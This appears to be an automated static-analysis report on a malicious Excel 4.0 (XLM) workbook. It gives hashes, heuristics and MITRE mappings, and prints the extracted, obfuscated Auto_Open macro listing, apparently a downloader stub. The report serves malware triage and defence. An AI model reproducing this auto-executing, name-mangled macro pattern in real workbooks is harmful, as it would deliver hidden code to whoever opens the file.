Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b21792588a99f181…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:30:19 Authoring application: Microsoft Excel First seen: 2021-08-25
MD5: e333630cb2af6742cf5f9b0bd29eef16 SHA-1: 451f303f418869429c2b4921c32523506c287eff SHA-256: b21792588a99f181cc1ffc8d6e7d4b5dd8bd8fbc9ea162387244596f7c15795f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 (XLM) macros, specifically an Auto_Open defined name, which is a critical finding. The presence of dangerous formula APIs like RUN indicates that the macro is designed to execute arbitrary code. The obfuscated nature of the macro and the truncated document body suggest it's likely a downloader for a second-stage payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6576 bytes
SHA-256: e2c1bb7773eb520b975acc41ce40c473f8ad134080fc77e54047379b98d47ec9
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 40 identifiers look randomly generated (e.g. 'WMovCnjEnjji') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  yxkztaEuu
' 0018     20 LABEL : Cell Value, String Constant - AUOHt len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E182 
' 0018     21 LABEL : Cell Value, String Constant - cLazYe len=0 
' 0018     24 LABEL : Cell Value, String Constant - faZQKZzCn len=0 
' 0018     21 LABEL : Cell Value, String Constant - fjjGET len=0 
' 0018     25 LABEL : Cell Value, String Constant - gwrdWbydGy len=0 
' 0018     23 LABEL : Cell Value, String Constant - HdSLUSwR len=0 
' 0018     23 LABEL : Cell Value, String Constant - HHRqLOwj len=0 
' 0018     24 LABEL : Cell Value, String Constant - hnkvxmPyv len=0 
' 0018     26 LABEL : Cell Value, String Constant - kDydoBOhlny len=0 
' 0018     23 LABEL : Cell Value, String Constant - moeghXxy len=0 
' 0018     24 LABEL : Cell Value, String Constant - PiLcZFAKC len=0 
' 0018     26 LABEL : Cell Value, String Constant - PRsXfhUxfsb len=0 
' 0018     21 LABEL : Cell Value, String Constant - qiRrsM len=0 
' 0018     26 LABEL : Cell Value, String Constant - QwngITRQRri len=0 
' 0018     21 LABEL : Cell Value, String Constant - RbjvDF len=0 
' 0018     21 LABEL : Cell Value, String Constant - rbWyOc len=0 
' 0018     22 LABEL : Cell Value, String Constant - rfcGJQd len=0 
' 0018     25 LABEL : Cell Value, String Constant - sXRcuFgPGp len=0 
' 0018     27 LABEL : Cell Value, String Constant - WMovCnjEnjji len=0 
' 0018     25 LABEL : Cell Value, String Constant - yIyanEbbvf len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  yxkztaEuu,E96,"SET.NAME("qiRrsM",VALUE("0"))",""
'  yxkztaEuu,E100,"SET.NAME("sXRcuFgPGp",qiRrsM)",""
'  yxkztaEuu,E103,"SET.NAME("AUOHt",qiRrsM)",""
'  yxkztaEuu,E105,"SET.NAME("faZQKZzCn",COUNTA(PiLcZFAKC))",""
'  yxkztaEuu,E109,"SET.NAME("hnkvxmPyv",COUNTA(moeghXxy))",""
'  yxkztaEuu,E112,[],""
'  yxkztaEuu,E114,"SET.NAME("HdSLUSwR","")",""
'  yxkztaEuu,E117,"sXRcuFgPGp",""
'  yxkztaEuu,E121,"SET.NAME("cLazYe",HLOOKUP("*",PiLcZFAKC,sXRcuFgPGp,FALSE))",""
'  yxkztaEuu,E125,"fjjGET",""
'  yxkztaEuu,E130,"SET.NAME("QwngITRQRri",qiRrsM)",""
'  yxkztaEuu,E134,[],""
'  yxkztaEuu,E136,"QwngITRQRri",""
'  yxkztaEuu,E138,"yIyanEbbvf",""
'  yxkztaEuu,E140,"rbWyOc",""
'  yxkztaEuu,E142,"WMovCnjEnjji",""
'  yxkztaEuu,E146,"SET.NAME("gwrdWbydGy",VALUE(HLOOKUP("*",moeghXxy,WMovCnjEnjji,FALSE)))",""
'  yxkztaEuu,E149,"HHRqLOwj",""
'  yxkztaEuu,E153,"HdSLUSwR",""
'  yxkztaEuu,E155,"AUOHt",""
'  yxkztaEuu,E160,NEXT(),""
'  yxkztaEuu,E163,"RbjvDF",""
'  yxkztaEuu,E165,"SET.NAME("f",INT(T(FORMULA(T(HdSLUSwR)&"",""&T(RbjvDF)))))",""
'  yxkztaEuu,E170,"kDydoBOhlny",""
'  yxkztaEuu,E172,NEXT(),""
'  yxkztaEuu,E177,RETURN(),""
'  yxkztaEuu,E208,"SET.NAME("rfcGJQd",E96)",""
'  yxkztaEuu,E210,"PiLcZFAKC",""
'  yxkztaEuu,E214,"SET.NAME("moeghXxy",R43C14)",""
'  yxkztaEuu,E216,"SET.NAME("kDydoBOhlny",225)",""
'  yxkztaEuu,E220,"SET.NAME("PRsXfhUxfsb",5)",""
'  yxkztaEuu,E224,rfcGJQd(),""
'  yxkztaEuu,E225,HALT(),""